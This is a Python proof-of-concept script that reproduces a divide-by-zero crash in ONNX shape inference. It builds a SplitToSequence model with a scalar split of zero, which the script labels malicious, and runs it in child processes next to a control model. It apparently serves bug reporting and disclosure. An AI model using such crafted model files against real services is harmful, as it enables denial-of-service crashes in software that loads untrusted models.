#!/usr/bin/env python3
"""Reproduce ONNX SplitToSequence scalar split=0 shape-inference SIGFPE.

The parent process builds two minimal ONNX models and runs shape inference in
child processes so the crash can be observed without killing the harness.
"""

from __future__ import annotations

import argparse
import subprocess
import sys
from pathlib import Path

import onnx
from onnx import TensorProto, helper


def build_model(split_value: int) -> onnx.ModelProto:
    input_info = helper.make_tensor_value_info("input", TensorProto.FLOAT, [6, 4])
    output_info = helper.make_tensor_sequence_value_info("output_sequence", TensorProto.FLOAT, None)
    split = helper.make_tensor("split", TensorProto.INT32, [], [split_value])
    node = helper.make_node(
        "SplitToSequence",
        ["input", "split"],
        ["output_sequence"],
        axis=0,
        keepdims=1,
    )
    graph = helper.make_graph(
        [node],
        f"split_to_sequence_scalar_{split_value}",
        [input_info],
        [output_info],
        initializer=[split],
    )
    return helper.make_model(graph, opset_imports=[helper.make_opsetid("", 25)])


def run_child(model_path: Path) -> subprocess.CompletedProcess[str]:
    child = f"""
import faulthandler
faulthandler.enable()
import onnx
model = onnx.load({str(model_path)!r})
print("loaded=" + {model_path.name!r}, flush=True)
onnx.checker.check_model(model)
print("checker_passed", flush=True)
onnx.shape_inference.infer_shapes(model, strict_mode=True)
print("shape_inference_returned", flush=True)
"""
    return subprocess.run(
        [sys.executable, "-c", child],
        text=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        check=False,
    )


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--out-dir", default=".", help="Directory for generated ONNX files.")
    parser.add_argument(
        "--direct-crash",
        action="store_true",
        help="Run the malicious infer_shapes call in this process for gdb/backtrace capture.",
    )
    args = parser.parse_args()

    out_dir = Path(args.out_dir)
    out_dir.mkdir(parents=True, exist_ok=True)

    if args.direct_crash:
        path = out_dir / "malicious_split_0.onnx"
        onnx.save(build_model(0), path)
        print(f"python={sys.version.split()[0]}", flush=True)
        print(f"onnx={onnx.__version__}", flush=True)
        print(f"loaded={path.name}", flush=True)
        model = onnx.load(path)
        onnx.checker.check_model(model)
        print("checker_passed", flush=True)
        onnx.shape_inference.infer_shapes(model, strict_mode=True)
        print("shape_inference_returned", flush=True)
        return 0

    cases = [
        ("control_split_2.onnx", 2),
        ("malicious_split_0.onnx", 0),
    ]

    print(f"python={sys.version.split()[0]}")
    print(f"onnx={onnx.__version__}")
    for filename, split_value in cases:
        path = out_dir / filename
        onnx.save(build_model(split_value), path)
        print(f"\n== {filename} split={split_value} ==")
        result = run_child(path)
        print(result.stdout, end="")
        print(result.stderr, end="")
        print(f"returncode={result.returncode}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())